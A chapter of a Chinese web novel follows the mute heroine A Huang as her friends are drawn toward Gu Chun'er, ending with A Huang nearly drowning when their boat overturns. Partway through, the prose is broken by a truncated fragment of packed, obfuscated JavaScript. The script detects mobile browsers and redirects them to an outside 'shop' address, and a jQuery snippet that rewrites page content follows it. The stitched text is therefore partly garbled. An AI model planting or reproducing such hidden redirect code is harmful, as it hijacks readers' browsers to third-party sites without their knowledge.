阿凰不知如何应答,徐子岑也没有要从她嘴里得到满意的答案,只是想发泄情绪,继续说自己的事,阿凰便当起一个合格的倾听者。 直到过了很久,徐子岑要走了,一起身歪歪扭扭的,阿凰只能扶着她走,好在她还清醒,可以指路回家。 走到一半,徐子岑突然停下来,看着不远处,阿凰随着她的视线看去,只见一男一女举止亲昵,仿佛他们才是夫妻一般,男子笑得开心明朗,对女子言听计从,像个讨人开心的开心果,而女子看起来很满足身边人的吹捧,活脱脱一个娇蛮大小姐。 两个女孩同时愣住了,阿凰看着那女子,不就是顾纯儿吗?她为何在外面与别的男人走得近,她知道那个男人有家室了吗?难道她和独孤凤渊闹脾气了? 而一看徐子岑的反应,阿凰再傻也明白了,那个男子就是她的丈夫。 她手忙脚乱地帮徐子岑擦眼泪,可是泪水好像无穷无尽,她怎么也擦不干净,此时她又焦急了,如果她会说话该有多好,就可以好好劝这个心碎的女子,不要再哭了,就连她看了也跟着心痛。 她想带徐子岑离开,眼不见心不烦,可是徐子岑死死抓住她的手腕,咬牙切齿盯着那对男女,眼泪一颗一颗掉下来。 “明明我才是他的妻子,为什么我要沦落到嫉妒一个外来女子?” 听着徐子岑的哭腔,阿凰很是慌乱。 那边的人一直没发现她们,许久之后才分开,许萧然穿过人群,走着走着终于看到了徐子岑,走过来。 直到他走到跟前,阿凰才发现徐子岑已经冷静下来,也终于不流泪了,只是脸上布满泪痕,眼眶通红。 “你又在哭什么?”许萧然闻到一股酒气,不悦皱眉,“你怎么喝了那么多酒?走,先回家。” 徐子岑甩开他的手,吸了吸鼻子,自己扭头走了,许萧然也匆匆向阿凰道谢离去。 看着女孩的背影,孤独而坚强,始终不理会身后的男子,阿凰想告诉她,好像也在告诉自己: 不要再哭了,他看不到你的眼泪。 再次出门又碰见了徐子岑,她又是一个人,阿凰被她邀请去玩乐,感觉没那么闷了,之后徐子岑便每日主动在将军府附近等她,而她也乐意看到徐子岑走出悲伤的情绪。 她觉得缘分二字真是神奇,让两个陌生人快速达成共鸣,相见恨晚。 而许萧然也每次都来接徐子岑,两个人的关系似乎缓解许多。 阿凰想起了在村子里,每次有小两口吵架,邻里劝和的时候总说的那句话:床头吵架床尾和。 小宋总是神出鬼没的,阿凰早就习惯了,孩童一样的性格,很快就融入他们三个人之中。 渐渐的入了秋,阿凰想去备两件秋衣,打算约上徐子岑,两个女孩子一起挑衣服。 可等她到了约定好的地方,那里等着的几个人让她一愣。 顾纯儿赫然位于徐子岑三个人中间。 阿凰只是不解,为什么明明约好了就她们两个人去玩,却多出别的人? 更令她疑惑的是,这几个人什么时候看起来关系这么好了?就好像她自己失去了一段记忆,好像在短短的时间里,她被丢出队伍,她的好朋友们加入了新的队伍。 “阿凰,你来啦,我们等你好久咯。”顾纯儿嗓音甜美地打招呼,阿凰却头一次感觉有一股莫名的恐惧。 就好像,自己的一切都在别人的掌控之中,一举一动都被人监视着。 一整天阿凰都心不在焉,她真的很不明白,难道是自己太小心眼了吗?难道是她真的没见过世面所以想不通?这些大户人家的人,真的可以为了利益和任何人和平相处吗? 尤其是徐子岑,在此之前发生了那样的事,她甚至看着要恨透了顾纯儿,可是此时此刻,她好像失去了那一段记忆,和顾纯儿就像亲姐妹一般。 接下来的日子里,他们几乎每日都要约好一同游玩,阿凰有点不想去的,可是顾纯儿说好朋友就要一起玩,一个也不能少,另外三个就更要劝她了,甚至私下说,不许她辜负顾纯儿的好意。 同时让阿凰有点意外的是,小宋这个看起来像半大的毛孩子一样的性子,竟也会单独把顾纯儿约出去,请她看花灯,带她去最高的阁楼上看千灯升空的壮观景象。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126068|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 阿凰原本不知道这些事,是顾纯儿找到她诉说苦恼,说想拒绝小宋,可是她不好意思开口,也不想伤了朋友之间的感情,想让阿凰帮她拒绝。 她不想拒绝顾纯儿,可也不想伤小宋的心,顾纯儿第一次请求的时候,她硬着头皮代替她去了,她清楚的记得小宋那时的表情,看到来的是她,惊讶伴随着疑惑,而后恢复勉强的笑容。 气氛有点尴尬,阿凰想走,小宋却露出要哭了的表情,诉说他被拒绝了有多心碎。 她转告顾纯儿,后来就没再被要求代替她去,因为顾纯儿她自己去了。 忽然想起,她已经很久没有单独见到小宋了,他再没有像之前那样神出鬼没,突然冒出来找她,倾听她的苦恼,只有大家聚在一起的时候才能看到他。 有好多次,阿凰都被落在人群后面,走着走着,会莫名被挤在最边缘,她也毫无怨言,只是默默跟上大家。 彻夜难眠时,她才发现,自己好像有点孤立无援。 这些日子发生的一切,夜月姬看在眼里急在心里,很多时候她多么想跳出来让阿凰清醒一些,可是她也一样,在这镜中世界她什么都做不了。 只能看着阿凰历经磨难,受人欺负,被排挤,被误解,一次次的心碎,每一次上天给她一丝希望之后却又迎来更沉重的苦楚。 夜月姬想告诉阿凰顾纯儿的真面目,别人看不出来,她一梳理就知道顾纯儿是什么想法了,她想解开阿凰与独孤凤渊这头山猪之间的误会,真实世界中他们看不清彼此的心,可在镜中世界,她希望阿凰能短暂地得到她想要的。 几个人约好了泛舟湖上,每一叶小舟只能乘坐两个人,可是每个人都想和顾纯儿一起,阿凰便提出自己在湖边等着就行,正好他们四人租两舟。 她一个人就不用了,也免得白费钱财。 顾纯儿却要和她一起,牵着她的手一起乘上一叶小舟,小宋委屈巴巴的到湖边的亭子里等,反正没机会很顾纯儿一起,对他来说就没了意义,剩下的许萧然和徐子岑同一条船正好。 徐子岑那边自然是许萧然划舟,而阿凰想自告奋勇,不知为何潜意识里也害怕麻烦顾纯儿,可她从来没划过船,顾纯儿也很坚决想亲自划舟。 同湖游玩,一开始离得近,四人还一边乘舟一边聊天,可是渐渐的,阿凰发现两叶小舟怎么离得越来越远了?她们这边好像不受控制似的往远处飘走。 “阿凰,你有没有感觉水里有东西?”顾纯儿惊恐道,“好像……就在我们舟下……” 阿凰不知这世上是否有鬼神,也从未见过,此刻听顾纯儿这么说,不免也害怕起来,下意识想低头去看,被顾纯儿制止道:“别看!别被它发现了,我们悄悄的……摆脱它。” 她看着顾纯儿的背影,女孩在前头奋力划舟,她什么办法也没有,只能在心里给顾纯儿祈祷。 好不容易靠近了岸边,希望就在眼前,小舟却左摇右摆,好像水里的东西在发力,想把船上的人晃下去,顾纯儿吓得尖叫出声,可阿凰连救命都喊不出来。 事情发生得太突然,几乎就在一瞬间,阿凰就被甩下去,落进水中,与此同时顾纯儿也跟着掉下水。 无数冰冷的湖水涌上来,求生意识让阿凰手脚并用挣扎着,可是湖底无边的黑暗在将她吞没,似乎有一双无形的手在用力把她向下拉去,她头晕目眩,很快就感受到致命的窒息在扼住自己的喉咙。 彻底失去意识之前,她心里想的还是,她没保护好顾纯儿,害得她也落进水里,她好无力,什么也做不了,独孤凤渊一定会恨死她了,一定会对顾纯儿很心痛的吧。 可是她也不想死的,就算是死,她想落叶归根,想回到清水村,想被安葬在金灿灿的油菜花之中。